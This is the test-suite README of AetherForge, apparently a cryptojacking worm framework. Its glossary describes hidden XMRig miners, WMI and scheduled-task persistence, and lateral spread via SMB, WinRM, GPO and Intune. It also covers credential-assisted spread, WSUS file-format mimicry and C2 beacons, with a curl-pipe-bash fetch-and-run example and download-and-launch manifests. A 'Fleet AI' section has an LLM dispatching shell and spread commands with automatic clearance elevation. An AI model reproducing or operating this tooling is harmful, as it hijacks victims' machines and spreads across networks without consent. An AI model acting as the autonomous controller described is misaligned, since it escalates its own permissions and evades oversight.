Files
AetherForge/tests
AetherForge bd041edc0e
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Add erasure codec tests and fix subnet scan timeout.
Mock probePorts in scale limit tests so ScanLocalSubnet does not hang on live TCP dials; add erasure_codec error-path coverage from 0445b7e/d18c591 gaps.
2026-06-07 06:59:14 -07:00
..

AetherForge Test Suite

Current counts (2026-06-07): Go server 793 Test* · Go agent 612 Test* · Vitest 791 tests in 95 files · Playwright 25 tests in 8 spec files. Refresh: go test ./... -list . (server/agent), npm run test -- --run (Vitest), npx playwright test --list (E2E). Full suite: test.bat → scripts/test-suite.ps1.

Master validation (operator commands)

PROBLEMS.md Test gaps / noise defers here — use the tables below for P1, fleet evolution, and P2 coverage.

After parallel agent landings, run from repo root:

Gate Command Phases
Full gate .\scripts\test-suite.ps1 1–8 (Go server, Go agent, fusion, Vitest, builds, Playwright on :18989)
Quick verify .\scripts\test-suite.ps1 -SkipE2E 1–7b without Playwright — default post-landing smoke
Fast slice .\scripts\test-suite.ps1 -SkipE2E -SkipBuild 1–4 only (Go + Vitest)
P2 focused .\scripts\test-suite.ps1 -P2 Mining/spread/path-forge/WS subset + Vitest; add phase 8 manually for onion + discover E2E
Fleet recon .\scripts\test-suite.ps1 -ReconOnly Vuln/CVE, cred graph, triple-onion gates, Path Tracer discover, recon Vitest

Count refresh (update this doc when totals drift):

cd server; (go test ./... -list . 2>$null | Select-String '^Test').Count
cd agent; (go test ./... -list . 2>$null | Select-String '^Test').Count
cd server\web; npm run test -- --run
cd server\web; npx playwright test --list

One command runs everything:

test.bat

From repo root with GNU Make (same as test.bat):

make test
make test-quick   # -SkipE2E
make test-fast    # -SkipE2E -SkipBuild

Or with PowerShell directly:

.\scripts\test-suite.ps1
.\scripts\test-suite.ps1 -SkipE2E -SkipBuild
.\scripts\test-suite.ps1 -ReconOnly
.\scripts\test-suite.ps1 -P2

Portable USB: pack-usb.bat from repo root → copy usb\ to a drive → LAUNCH.bat (opens http://localhost:8989/; /agents redirects to /crucible in the SPA).

Fleet evolution master checklist (2026-06-07)

Windows dashboard only; no in-process cloudflared. Genealogy fields are telemetry on auth/stats only — they never gate fleet_secret or block agent registration.

Feature Where Regression (quick)
Seeder / miner split Forge fleet_role + seeder_mode; agent config/fleet_role.go; server internal/strategy/fleet_role.go, internal/api/fleet_role.go; seeder staging (deploy/seeder_staging.go, lan_seeder.go) go test ./config/... ./client/... -run FleetRole -count=1 (agent); go test ./internal/strategy/... ./internal/api/... ./internal/builder/... -run FleetRole -count=1 (server)
Atlas LAN gossip Agent client/atlas_gossip.go; server internal/atlas/lan_gossip.go, internal/api/atlas_gossip.go go test ./client/... -run AtlasGossip -count=1; go test ./internal/atlas/... ./internal/api/... -run AtlasGossip -count=1
Genetic phenotype breeding server/internal/strategy/breeding.go merges sibling phenotypes go test ./internal/strategy/... -run Breeding -count=1
BGP-style spread router server/internal/spreadrouter/; Path Tracer + deploy plan spread_route_hint go test ./internal/spreadrouter/... -count=1; go test ./internal/api/... -run SpreadRoute -count=1
Erasure-coded multi-lane spread (foundation) Server internal/erasure/ RS 4+2 encode + erasure_plan on deploy plans; agent deploy/erasure_staging.go k-of-n reassembly fallback; Calibrate server.erasure_lanes_enabled + Path Tracer RS lanes hint go test ./internal/erasure/... -count=1; go test ./internal/api/... -run Erasure -count=1; go test ./deploy/... -run Erasure -count=1; go test ./config/... ./client/... -run Erasure -count=1
Spread genealogy watermark Forge -ldflags + env overrides; auth/stats JSON only go test ./config/... -run Genealogy -count=1; go test ./internal/builder/... -run Genealogy -count=1; go test ./internal/api/... -run SpreadGenealogy -count=1
Court retry + L4 elevation server/internal/ai/court_commands.go, scheduler ensureCourtRetryClearance go test ./internal/ai/... -run CourtRetry -count=1
Hashrate + subnet spread gates Agent deploy/hashrate_gate.go; server internal/db/subnet_spread_pause.go, internal/atlas/subnet_immune.go go test ./deploy/... -run HashrateGate -count=1; go test ./internal/db/... ./internal/atlas/... -run Subnet -count=1
APK scout mode Forge scout_mode / ApkMode; agent client/scout_mode.go; builder build_apk.go go test ./client/... -run Scout -count=1; go test ./internal/builder/... -run Apk -count=1; go test ./internal/api/... -run Scout -count=1
AI persona spread temperament Calibrate ai_persona; auth spread_temperament policy push go test ./internal/ai/... -run Persona -count=1; go test ./client/... -run SpreadTemperament -count=1; Vitest Settings persona chips
WSUS CAB/partial mimic Forge WSUSFormatMimic; staging wrap/unwrap in wsus_cache_peer_staging.go go test ./deploy/... -run FormatMimic -count=1; go test ./internal/api/... -run WSUSFormat -count=1
Spread immunity / subnet pause server/internal/api/spread_immunity.go go test ./internal/api/... -run SpreadImmunity -count=1
Fleet pressure telemetry Agent client/fleet_pressure.go (seed_pressure, hashrate_pressure, emberwake_heat) go test ./client/... -run FleetPressure -count=1; Vitest wsStatsCoalesce.test.ts

Full gate: .\scripts\test-suite.ps1 (phases 1–8). P2-focused slice: .\scripts\test-suite.ps1 -P2 then phase 8 for Playwright onion + discoverâ†spread stub.

P2 completion (2026-06-07)

Master suite: .\scripts\test-suite.ps1 (all 8 phases). Focused P2 after landing parallel agents: .\scripts\test-suite.ps1 -P2 (Go mining/spread/path-forge/WS + Vitest); add phase 8 for Playwright onion + discoverâ†spread stub.

Area Quick run
Mining chain lifecycle cd agent && go test ./client/... -run MiningChain -count=1
WS/beacon integration cd agent && go test ./client/... -run WSBeacon -count=1 and cd server && go test ./internal/api/... -run WSBeacon -count=1
Spread lanes (mock) cd server && go test ./internal/api/... -run SpreadLane -count=1 and cd agent && go test ./deploy/... -run WinRM -count=1
Path Forge cd server && go test ./internal/builder/... -run PathForge -count=1 and cd server/web && npm run test -- --run src/pages/BuilderPage.test.tsx
E2E onion + discover Phase 8: lotl-timeline.spec.ts, discover-spread.spec.ts (incl. 3-hop chain stub)
Container/podman mocks `cd agent && go test ./miner/... -run "Container
BITS/curl target-OS mocks `cd agent && go test ./deploy/... -run "BITS
WinRM/GPO/systemd httptest cd server && go test ./internal/api/... -run PostDeploy -count=1 and `cd agent && go test ./deploy/... -run "DeployPlanWinRM

Phases

Phase What it runs Location
1 Go server unit + integration tests server/
2 Go agent tests agent/
3 Fusion module unit tests + compile check fusion/
4 Frontend unit tests (Vitest) server/web/
5 Frontend production build server/web/
6 Server binary compile server/
7 Agent binary compile (Windows) agent/ → bin/install-worker.exe
7b Agent cross-compile (linux/darwin) agent/ → bin/install-worker-*
8 E2E smoke (Playwright) server/web/e2e/ — starts temp server on :18989

Phases 5–7 and 7b are skipped with -SkipBuild. Phase 8 is skipped with -SkipE2E.

-ReconOnly runs the fleet recon subset (vuln/CVE, cred graph, service graph, triple-onion gates, network hints, Path Tracer discover, recon UI Vitest) and exits — useful after parallel agent landings.

Operator quick start (LOTL + fleet recon)

  1. Forge with LOTL Onion — Forge → Operation mode → LOTL Onion (in-process RandomX, native-tool spread chain). Set your XMR wallet and forge once. With lotl_policy_from_server on (preset default), tier order comes from Calibrate server.lotl_onion_tiers on agent auth — re-forge only when changing wallet, build, or preset flags, not to reorder tiers. See LOTL vector glossary for every tier definition + example.

  2. Probe & Join — Crucible → select online node(s) → Probe & Join (discover_and_join). Agent runs service discovery, server signs a deploy plan, and the best LOTL lane executes. Risk/join-lane badges update on the next stats tick. See glossary rows: discover_and_join, join_lane, service_discover.

  3. Deployment credentials vault — For cred-assisted spread (spread_cred, SMB/WinRM lanes), add profiles to data/config.json:

    "deployment_credentials": [
      { "label": "Lab ops", "username": "corp\\\\ops", "vault_ref": "deployment-creds/lab.vault" }
    ]
    

    Store the password in data/deployment-creds/<id>.vault as plain text or {"password":"..."} (0600). Never commit vault files. Affinity ordering is covered by TestOrderDeploymentCredProfiles_Affinity and TestLoadDeploymentCredPasswordFromVault.

Playbook: /docs/SPREAD_TECHNIQUES.html#lotl-onion. Recon regression: scripts/test-suite.ps1 -ReconOnly after landing agents.

Fleet role split (Seeder / Miner)

Seeders (fleet_role=seeder, seeder_mode baked at forge) skip the RandomX mining chain and run dns_txt / webrtc_mesh / do_peer staging lanes only (defer_mining semantics). Miners hash normally and may pull payloads from the nearest LAN seeder via existing webrtc/do_peer paths (lan_seeders on auth when server.fleet_roles_enabled).

Telemetry: agents report fleet_role, seed_pressure (0–1), and hashrate_pressure on stats WS; the server ingests emberwake_heat for war-room heat maps (server/internal/strategy/fleet_role.go).

Forge: Advanced → Fleet role chips (auto | miner | seeder); seeder bake sets MiningDisabled, enables DNS/WebRTC spread, filters LOTL tiers. Calibrate: server.fleet_roles_enabled (default off).

cd agent && go test ./config/... ./deploy/... ./client/... -run "Fleet|Seeder|SeedPressure|LANSeeder" -count=1
cd server && go test ./internal/strategy/... ./internal/api/... ./internal/builder/... -run "FleetRole|Emberwake|Seeder" -count=1
cd server\web && npm run test -- --run src/help/warRoomTelemetry.ts src/pages/BuilderPage.test.tsx
Area Test file(s)
Role resolution + seeder forge defaults agent/config/fleet_role_test.go
Seeder staging + LAN seeder pick agent/deploy/seeder_staging_test.go, lan_seeder_test.go
Mining skip + pressure fields agent/client/fleet_pressure_test.go, fleet_role_lifecycle_test.go
Auth hints + emberwake heat ingest server/internal/api/fleet_role_test.go
Emberwake heat helper server/internal/strategy/fleet_role_test.go
Forge bake + builtin template server/internal/builder/fleet_role_test.go

Adaptive Strategy

The server adaptive strategy engine (server/internal/strategy/) learns from your fleet only: OS fingerprint, Docker/WSL/GPU probes, subnet, lotl_attempts, and mining_hashrate. On agent auth it pushes adaptive_strategy with a personalized tier_order, optional skip_tiers, and a human-readable strategy_reasoning[] trace (weighted scoring — not a black-box LLM). Background rescoring runs every 5 minutes from stats_batch / tier_report ingestion into SQLite tier_outcomes. Adaptive overrides order and skip hints only; it does not change wallet, patch_first, or other triple-onion gates. Disable via Calibrate server.adaptive_strategy_enabled (default true). Manual refresh: POST /api/v1/strategy/recompute. Crucible Access Depth → Strategy shows reasoning bullets and an Adaptive badge when the server order differs from default.

Regression: go test ./internal/strategy/... ./internal/api/ -run Adaptive (server) and Vitest AccessDepthPanel.test.tsx.

Phenotype cloning

When an agent reports a winning spread+mining path, the server upserts a fleet phenotype keyed by host fingerprint. Sibling agents receive inherited_phenotype on auth — tier order and spread lane clone without re-forge.

Auth tier-plan precedence: inherited phenotype (SQLite fleet winner) > genetic breed (crossover of two lane-specific winners for the same fingerprint) > adaptive strategy.

When two lane winners exist for the same fingerprint bucket with different join_lane / spread_lane values, the strategy engine crossbreeds their tier orders (single-point crossover + failed-tier mutation) and stores the result in an in-memory BreedingRegistry. Siblings without a direct fleet winner receive the bred order as inherited_phenotype with genetic_breed: true.

Regression:

cd server && go test ./internal/strategy/... ./internal/api/... -run "Phenotype|Breed|Genetic" -count=1

Failure atlas

The failure atlas (server/internal/atlas/) records conditioned tier failures. After five failures under an active condition, it hard-skips subtree tiers, merges into adaptive_strategy.skip_tiers, and pushes atlas_skips on auth. LOTL Timeline marks tiers skipped_by_atlas.

Atlas LAN gossip (optional): When Calibrate server.atlas_lan_gossip_enabled is true, agents broadcast tier+condition skip hints to WS-connected siblings on the same /24. The server relays atlas_gossip frames (no raw UDP). Siblings merge hints into local atlas_skips before spread attempts. Auth pushes atlas_lan_gossip_enabled in auth_response.

Regression:

cd server && go test ./internal/atlas/... ./internal/api/... -run "AtlasGossip|LanGossip|MergeGossip" -count=1
cd agent && go test ./client/... -run "AtlasGossip|Gossip" -count=1

Court session

When AI Control is on and a host is stuck (zero hashrate + exhausted chain or all spread tiers failed), the scheduler runs a Singular Machine Court: Prosecutor (failure atlas + attempts), Defender (fleet phenotype), Judge (verdict + commands). Persisted with court_session=true for LOTL Timeline.

Clearance L0–L4

Agents receive session clearance on auth (L0 stats → L4 forge). Fleet AI and remote actions enforce minimum levels. With ai_auto_elevate_clearance, stuck hosts auto-elevate to L4 so court-ordered commands can execute. Events broadcast as clearance_elevated on dashboard WS.

Fleet AI Control

Calibrate → Calibration Control toggles server.ai_control_enabled. When on, the server Fleet AI scheduler (server/internal/ai/) polls connected agents on ai_decision_interval_sec (default 60s), builds snapshots from WS + DB state, calls a local OpenAI-compatible endpoint (ai_endpoint, default http://127.0.0.1:11434/v1), parses commands[] from the model response, and dispatches fleet actions (restart_mining, discover_and_join, spread_now, agent_command, etc.). Decisions are stored in SQLite ai_decisions and surfaced on LOTL Timeline when AI control is enabled.

Precedence: ai_control_enabled: true replaces adaptive strategy for tier-order decisions — auth omits adaptive_strategy, background rescoring no-ops, and FleetAISnapshot skips adaptive reasoning. Adaptive strategy resumes when AI control is turned off.

Operator settings: ai_endpoint, ai_model, ai_no_context (single-turn prompts), ai_decision_interval_sec. Refresh models: Calibrate Refresh models → GET /api/v1/ai/models. Audit trail: GET /api/v1/ai/decisions?agent_id=.

Agent side: hub sends ai_snapshot_request → agent replies ai_snapshot (agent/client/ai_snapshot.go); scheduler commands map to ai_commands handlers (exec_shell, full_sys_check, restart_mining, etc.). Per-agent Ollama autonomy (ai_enabled forge flag) remains separate — see Agent logs.

Fleet AI + LOTL Timeline quick-run

cd server && go test ./internal/ai/... ./internal/api/... -run "FleetAI|Scheduler|ParseCommands|AuthResponse.*Adaptive|AI" -count=1
cd agent && go test ./client/... -run "AI|HandleAI|AISnapshot|VulnLOTL" -count=1
cd server\web && npm run test -- --run src/pages/LotlTimelinePage.test.tsx src/pages/SettingsPage.test.tsx src/components/Lotl/LotlTierTimeline.test.tsx src/help/settingHelp.test.ts

Client WS/beacon integration (2026-06-07)

httptest + gorilla/websocket integration tests for agent auth/stats relay, HTTPS beacon fallback, command round-trips, AI snapshot telemetry, upload-over-WS (base64 command frame — no separate chunk type), and disconnect cleanup.

cd server && go test ./internal/api/... -run "Beacon|WebSocket|Auth|stats_batch" -count=1
cd agent && go test ./client/... -run "Beacon|HandleMessage|WS" -count=1
Feature Test file(s) Suite phase
Auth → stats tick → stats_batch coalescing (dashboard WS) server/internal/api/ws_beacon_integration_test.go, websocket_test.go 1
Beacon registration + heartbeat + queued commands + result relay server/internal/api/ws_beacon_integration_test.go, beacon_test.go 1
Beacon state cleared on WS reconnect server/internal/api/ws_beacon_integration_test.go 1
Operator name preserved vs hostname on reconnect server/internal/api/websocket_test.go 1
Command dispatch (exec_shell, mining_diagnostics) server → agent WS server/internal/api/ws_beacon_integration_test.go 1
ai_snapshot_request → ai_snapshot telemetry cache server/internal/api/ws_beacon_integration_test.go, fleet_intelligence_test.go 1
Agent disconnect → offline + agent_offline + log cache cleared server/internal/api/ws_beacon_integration_test.go 1
Agent WS command round-trip (exec_shell, mining_diagnostics, upload) agent/client/ws_beacon_integration_test.go 2
Agent ai_snapshot WS write + handleMessage mining diagnostics agent/client/ws_beacon_integration_test.go, handlemessage_test.go 2
HTTPS beacon heartbeat + command + /beacon/result agent/client/ws_beacon_integration_test.go, beacon_transport.go 2
Reconnect auth payload (worker_name vs hostname) agent/client/ws_beacon_integration_test.go, websocket_test.go 1 / 2
Disconnect write guard (conn == nil) agent/client/ws_beacon_integration_test.go 2

Note: Full mining_diagnostics JSON over WS is slow (~1s+) on Windows due to runtime probes; agent integration tests stub probes via stubFastMiningDiagnostics and relay a representative command_result frame on the wire. Server-side tests dispatch commands over WS independently of diagnostics generation time.

Fleet AI coverage map

Feature Test file(s) Suite phase
Command parser (JSON, tool-call, COMMAND: lines) server/internal/ai/commands_test.go 1
OpenAI client (models list, decide) server/internal/ai/client_test.go 1
Scheduler mock (1 agent, 1 cycle; disabled no-op) server/internal/ai/scheduler_test.go 1
AI config / models / decisions API server/internal/api/fleet_ai_handler_test.go 1
AI control precedence over adaptive (auth + snapshot) server/internal/api/strategy_auth_test.go, fleet_ai_handler_test.go 1
Legacy Ollama decide/report API server/internal/api/ai_handler_test.go 1
ai_snapshot JSON shape + stuck detection agent/client/ai_snapshot_test.go 2
ai_snapshot_request WS dispatch agent/client/handlemessage_test.go 2
ai_commands handlers + path traversal + spread/restart/syscheck agent/client/ai_commands_test.go 2
Upload/download/read_file path guards + config round-trip agent/client/client_upload_test.go, file_ops_common_test.go, deploy/desktop_path_test.go 2
Agent/fusion/APK artifact download routes server/internal/api/download_handler_test.go, dropper_handler_test.go, builder/handler_serve_test.go 1
APK asset paths ↔ BinaryExtractor.kt cross-check server/internal/builder/build_apk_test.go, android/forge/internal/forge/config_test.go 1 / 3
Calibrate AI Control toggle + models refresh server/web/src/pages/SettingsPage.test.tsx 4
LOTL Timeline page (tier chain + AI decision panel) server/web/src/pages/LotlTimelinePage.test.tsx 4
LOTL tier timeline component server/web/src/components/Lotl/LotlTierTimeline.test.tsx 4
Calibrate help keys (calibration_ai_control) server/web/src/help/settingHelp.test.ts, docAnchors.test.ts 4
Persona spread temperament (tier order hints) server/internal/ai/personas_test.go 1
Auth spread_temperament when AI control server/internal/api/strategy_auth_test.go, scout_phenotype_test.go 1
Fleet AI snapshot spread temperament server/internal/api/fleet_ai_handler_test.go, fleet_intelligence_test.go 1
APK scout preset + builtin flags server/internal/builder/build_apk_test.go, android/forge/internal/forge/config_test.go 1 / 3
Scout discover skips staging agent/deploy/scout_discover_test.go 2
Scout remote action gates agent/client/scout_mode_test.go 2
Scout phenotype publish server/internal/api/scout_phenotype_test.go 1

Fleet intelligence (2026-06-07 — phenotype, atlas, court, clearance)

Feature Test file(s) Suite phase
Fleet phenotype store + peak hashrate server/internal/strategy/phenotype_test.go, server/internal/db/phenotype_test.go 1
Phenotype publish + sibling inheritance API server/internal/api/phenotype_test.go 1
Agent auth phenotype policy agent/client/phenotype_policy_test.go 2
Failure atlas subtree skips server/internal/atlas/failure_atlas_test.go 1
Subnet immune spread pause (/24, 5 failures → 24h) server/internal/atlas/subnet_immune_test.go, server/internal/db/subnet_spread_pause_test.go, server/internal/api/spread_immunity_test.go 1
Court-mandated retry (spread_retry_lane, skip_tier → L4 dispatch) server/internal/ai/court_commands_test.go, server/internal/ai/court_prompt_test.go, server/internal/ai/scheduler_test.go 1
Hashrate-gated autospread (earn-before-burn) agent/deploy/hashrate_gate_test.go, agent/client/spread_policy_test.go 2
Atlas LAN gossip relay + merge server/internal/atlas/lan_gossip_test.go, server/internal/api/atlas_gossip_test.go 1
Agent atlas gossip merge + broadcast agent/client/atlas_gossip_test.go 2
Clearance L0–L4 command gating server/internal/clearance/clearance_test.go 1
AI scheduler clearance elevation server/internal/ai/scheduler_test.go 1
Clearance helpers + timeline history server/web/src/help/clearance.test.ts, server/web/src/pages/LotlTimelinePage.test.tsx 4
Phenotype cloned-from + clearance badge UI server/web/src/components/Lotl/LotlTierTimeline.test.tsx, server/web/src/components/Fleet/AccessDepthPanel.test.tsx 4
cd server && go test ./internal/strategy/... ./internal/db/... ./internal/api/... ./internal/atlas/... ./internal/clearance/... ./internal/ai/... -run "Phenotype|Atlas|Court|Clearance|Subnet|SpreadRetry|Hashrate|Immune" -count=1
cd agent && go test ./deploy/... ./client/... -run "Hashrate|SpreadPolicy|Autospread" -count=1
cd server\web && npm run test -- --run src/help/clearance.test.ts src/components/Fleet/AccessDepthPanel.test.tsx src/components/Lotl/LotlTierTimeline.test.tsx src/pages/LotlTimelinePage.test.tsx

Earn-before-burn propagation (2026-06-07)

Calibrate server.hashrate_gate_spread_min + server.hashrate_gate_hps push spread_policy on auth. Agents defer autospread until mining holds above the H/s threshold for N minutes; SMB/WinRM sweeps also stop when the mining chain is exhausted.

cd agent && go test ./deploy/... -run Hashrate -count=1
cd server && go test ./internal/ai/... -run "Court|SpreadRetry" -count=1
cd server && go test ./internal/atlas/... ./internal/db/... -run Subnet -count=1

Subnet immune response (2026-06-07)

Five spread failures on a /24 (subnet_spread_pause table) pause discover_and_join, spread_now, and stage_fetch to that prefix for 24 hours. Failures increment via spread-cred report edges and block in SendAgentCommand.

cd server && go test ./internal/atlas/... ./internal/db/... ./internal/api/... -run "Subnet|Immune" -count=1

Fleet AI gaps

  • Live Ollama / vLLM inference — scheduler uses DecideFunc inject in unit tests; no CI container with a real model.
  • Full scheduler E2E — one mocked Tick() cycle covered; no multi-agent parallel decision race test.
  • Court session UI — Go + Vitest cover prosecutor/defender/judge in LotlTimelinePage.test.tsx; no Playwright path yet.
  • Real full_sys_check syscheck bundle — handler test stubs CollectFullSysCheck; live subnet scan / systeminfo not exercised in CI.

LOTL architecture (triple onion)

The triple onion chains three phases on every agent connect (when enabled): recon → deploy → mining. Policy gates (patch_first, skip_mining_on_high_risk) can defer deploy or mining when vuln_findings exceed thresholds.

flowchart TB
  subgraph recon["Recon phase"]
    kev[kev_scan]
    vr[vuln_recon]
    sp[service_probe]
    lp[listen_ports]
    kev --> vr --> sp --> lp
  end

  subgraph gates["Policy gates"]
    pf{patch_first?}
    hr{high risk?}
  end

  subgraph deploy["Deploy lanes"]
    dj[discover_and_join]
    d1[docker / docker_load]
    d2[wsl / powershell / dotnet]
    d3[bits_curl / do_peer / wsus_cache_peer / dns_txt / webrtc_mesh / smb / winrm]
    d4[linux / gpo / intune]
    dj --> d1 --> d2 --> d3 --> d4
  end

  subgraph mining["Mining execution tiers"]
    m1[exe_subprocess]
    m2[docker_load / container / wsl]
    m3[ps_inmemory / dotnet / cpu_inprocess]
    m4[wmi / scheduled_task / webview2_probe]
    m5[gpu_compute / gpu_subprocess / linux_pyopencl]
    m6[stratum_direct]
    m1 --> m2 --> m3 --> m4 --> m5 --> m6
  end

  recon --> pf
  pf -->|critical CVE exposed| skip[Skip deploy + mining]
  pf -->|clear| hr
  hr -->|risk above threshold| mineOnly[Deploy only or skip mining]
  hr -->|acceptable| deploy
  deploy -->|lane OK| mining
  deploy -->|all lanes fail| mining

Phenotype inherit and failure-atlas skip branches (adaptive / auth path):

flowchart LR
  subgraph auth["Agent auth"]
    fp[fingerprint match]
    pheno{winning phenotype?}
    inherit[inherited_phenotype tier_order + spread_lane]
    adaptive[adaptive_strategy tier_order]
    atlasRec[atlas RecordFailure from stats]
    atlasSkip[atlas_skips hard subtree]
    merge[MergeSkipsIntoStrategy skip_tiers]
  end

  fp --> pheno
  pheno -->|yes| inherit
  pheno -->|no| adaptive
  atlasRec --> atlasSkip
  adaptive --> merge
  atlasSkip --> merge
  inherit --> agentPolicy[agent tier policy]
  merge --> agentPolicy

Sequential tier attempts within each phase (mining chain shown; spread/deploy lanes behave the same way):

stateDiagram-v2
  [*] --> TryTier1
  TryTier1 --> Active: tier OK
  TryTier1 --> TryTier2: tier failed / skipped
  TryTier2 --> Active: tier OK
  TryTier2 --> TryTier3: tier failed / skipped
  TryTier3 --> Active: tier OK
  TryTier3 --> TryTierN: tier failed / skipped
  TryTierN --> Active: tier OK
  TryTierN --> Exhausted: all tiers failed
  Active --> [*]: hashrate reported
  Exhausted --> [*]: lotl_attempts logged

Telemetry from each attempt flows to the dashboard via WebSocket stats_batch: lotl_tier, lotl_attempts, mining_hashrate, stratum_egress, join_lane, vuln_findings.

LOTL vector glossary

Every term below has a plain-language definition and a copy-pasteable example (CLI, API, Crucible command, or Forge flag). Canonical spread playbook: server/web/public/docs/SPREAD_TECHNIQUES.html.

Mining execution tiers

Term Definition Example
vuln_recon Read-only KEV/CVE/service probe run as a recon tier before deploy or mining; populates vuln_findings and risk score. No exploit payloads. Triple-onion recon_tiers includes vuln_recon; or Crucible full_sys_check → vuln_findings in stats_batch.
exe_subprocess Default path: launch XMRig (or forged worker) as a hidden child process on the host. Forge default miner_execution=subprocess; diagnostics chain tries exe_subprocess first unless AV blocks exe.
docker_load Load a pre-built OCI image tar (docker load -i) and run RandomX inside with read-only rootfs — no registry pull. Requires image_tar_url in forge policy; mining tier docker_load when Docker detected + tar policy set.
container Run worker inside Docker/Podman from a pulled or local image — host RandomX paused while container mines. miner_execution=container at forge; chain order: container after docker_load probe passes.
wsl Mine or bootstrap via WSL — Linux curl|bash or in-WSL RandomX when native Windows path is blocked. wsl -e bash -c "curl -sL https://deck.example/install.sh?pin=ID | bash" when WSL is installed.
powershell / ps_inmemory PowerShell in-memory or hidden-window miner bootstrap — no standalone unsigned exe on disk. miner_execution=powershell; encoded install.ps1 from GET /install.ps1?pin=.
dotnet Bootstrap through .NET CLI (dotnet tool run) instead of dropping a raw miner exe. Forge miner_execution=dotnet; spread lane dotnet in lotl_onion_tiers.
cpu_inprocess RandomX via embedded go-randomx inside the agent process — AV-Safe / LOTL Onion default terminal CPU tier. Forge Operation mode LOTL Onion or miner_execution=inprocess; active tier shows cpu_inprocess in Crucible badge.
wmi Windows WMI event subscription persistence + hidden miner launch via LOLBins. Mining tier wmi in DefaultWindowsTierOrder(); attempted when prior tiers fail on Windows.
scheduled_task schtasks / Task Scheduler hidden miner job — no interactive installer. Mining tier scheduled_task; follows wmi in Windows tier slice.
webview2_probe Probe WebView2/WebGPU availability before escalating to GPU subprocess — gates gpu_subprocess. Tier webview2_probe; skips GPU escalation when WebGPU not exposed.
gpu_compute CUDA or HLSL compute-kernel path for GPU hashing before external miner binaries. Tier gpu_compute; probes CUDA/HLSL then may fall through to gpu_subprocess.
gpu_subprocess External GPU miner subprocess (T-Rex / TeamRedMiner) for KawPoW/RVN. Forge GPU enabled; chain tier gpu_subprocess after webview2_probe passes.
stratum_direct Agent mines directly to pool Stratum when C2 proxy is down or tier chain exhausts in-process paths. stratum_egress=direct in stats; fallback after 30s C2 outage or terminal chain tier.
linux_pyopencl Linux OpenCL probe via python3 -c "import pyopencl" before stratum_direct when no CUDA. Inserted by appendLinuxPyOpenCL in fallback chain on Linux agents without CUDA.

Spread / deploy lanes

Term Definition Example
bits_curl Stage payload with BITS (bitsadmin) or curl.exe; optional certutil -decode + SHA256 verify. stage_fetch manifest {"method":"bits",…} or CCMEXEC service → bits_curl join lane.
do_peer Shadow Cache Handoff — DoSvc + BITS peer-style chunk staging on LAN; hash-verified assembly, rundll32/BITS launch. DoSvc running → join_lane_candidate: do_peer; signed deploy plan with peer_group, --defer-mining.
wsus_cache_peer WSUS offline cache cousin — stages beside SoftwareDistribution\Download; Wuauserv/AU probe; hash verify + defer_mining launch. Forge wsus_format_mimic (default ON) wraps chunks as *.cab.partial with SSU/CAB-like headers — format mimicry, not packing; lotl_attempts unchanged. Wuauserv running → join_lane: wsus_cache_peer (allowlist priority after do_peer).
dns_txt DNS TXT mesh — _aether.<zone> shards via nslookup/Resolve-DnsName; TTL policy refresh; embedded chunk API for tests. _aether TXT present → join_lane: dns_txt; Forge dns_txt_spread default ON.
webrtc_mesh WebRTC LAN seed — subnet seeder, manifest over data channel (STUN + WS relay); LAN HTTP fallback stub in tests. Forge webrtc_mesh_spread default OFF; webrtc_mesh_policy 24h seeder rotation.
smb / spread_smb_unc Lateral via SMB admin share + SCM (sc.exe create/start) pointing at a UNC worker path — no PsExec. {"action":"spread_smb_unc","path":"\\\\forge\\\\pathforge$\\\\worker.exe"}
winrm PS remoting lateral when ports 5985/5986 respond. POST /api/v1/builder/spread-template-export {"template":"winrm"}; autospread when winrm_spread forge flag set.
linux / linux_lotl SSH/SCP lateral on Unix with optional systemd-run or crontab LOTL persistence. {"template":"linux-lotl","lotl_mode":"both"}; sshd service → linux_lotl join lane.
gpo AD Group Policy startup script fetches worker on domain boot. Export {"template":"gpo"} → gpo-startup.ps1 in GPO Scripts → Startup.
intune Intune proactive remediation / platform script assignment (enterprise sibling to GPO). Export {"template":"intune"} → assign intune-startup.ps1 in owned tenant.
stage_fetch C2 sends a staging manifest; agent downloads chunks, verifies hash, launches via exe or rundll32. {"action":"stage_fetch","data":"{\"method\":\"curl\",\"chunks\":[…],\"sha256\":\"…\",\"dest\":\"%TEMP%\\\\w.exe\",\"launch\":\"exe\"}"}
discover_and_join Crucible Probe & Join: service discovery → server deploy plan → best LOTL lane executes. Crucible → Probe & Join → discover_and_join command to selected online nodes.
network_recon Passive egress recon (ARP, DNS SRV, cert hints) for Path Tracer graph enrichment. Path Tracer session auto-dispatches network_recon on egress hop; populates network_hints.
service_discover Enumerate local + LAN services/ports; feeds service_graph and join_lane_candidate. {"action":"service_discover"}; Path Tracer merges hop results into service_graph API.
spread_route / spread_route_hint BGP-style minimum-clearance spread routing — server picks best seed hop per target subnet from Path Tracer sessions, clearance, lane success, latency. POST /api/v1/pathtrace/spread-route {"session_id":"…","target_subnets":["10.1.2"],"join_lane":"do_peer"}; deploy plans include spread_route_hint when a better egress exists than patient zero.

Fleet recon

Term Definition Example
vuln_findings Array of CVE/KEV findings from agent probes — severity, patched status, fleet-context exploitability. WS stats_batch field vuln_findings; drives Crucible RiskBadge.
cred_edges SQLite rows recording cred-assisted spread attempts per host/subnet/profile for affinity ordering. spread_cred success inserts into cred_edges; Emberwake credential graph reads aggregated rows.
credential graph UI table of cred spread edges grouped by /24 — shows which deployment profiles succeeded where. Crucible → Spread tab → Credential Graph (CredentialGraphTable).
service_graph Merged service discovery per host IP — running services, ports, join_lane_candidate. Crucible → Service Graph panel; API GET /api/v1/pathtrace/service-graph.
network_hints Passive LAN hints (ARP neighbours, DNS SRV, cert SANs) attached to agent stats. network_recon command output merged into network_hints on Path Tracer egress hop.
triple onion Orchestrated recon → deploy → mining chain with shared lotl_attempts telemetry and policy gates. Server Calibrate triple_onion_policy; agent TripleOnionOrchestrator in agent/miner/triple_onion.go.
patch_first Gate: when critical unpatched CVEs are exposed, defer deploy and mining until remediated. Calibrate patch_first: true (default); gate reason patch_first: critical CVE exposed.
join_lane Last successful discover_and_join supply-chain lane id on an agent. WS stats_batch join_lane; Emberwake funnel JoinLaneBadge.
Probe & Join Crucible operator action that runs discover_and_join on selected online nodes. Crucible toolbar → Probe & Join button (CrucibleExpandedOps).
deployment_credentials vault Named cred profiles in config.json + password files under data/deployment-creds/ for SMB/WinRM spread. See Operator quick start JSON block; never commit .vault files.

C2 / telemetry

Term Definition Example
lotl_tier Active mining or spread tier id currently hashing or last successful lane. Crucible LotlTierBadge shows cpu_inprocess, container, etc. from WS stats.
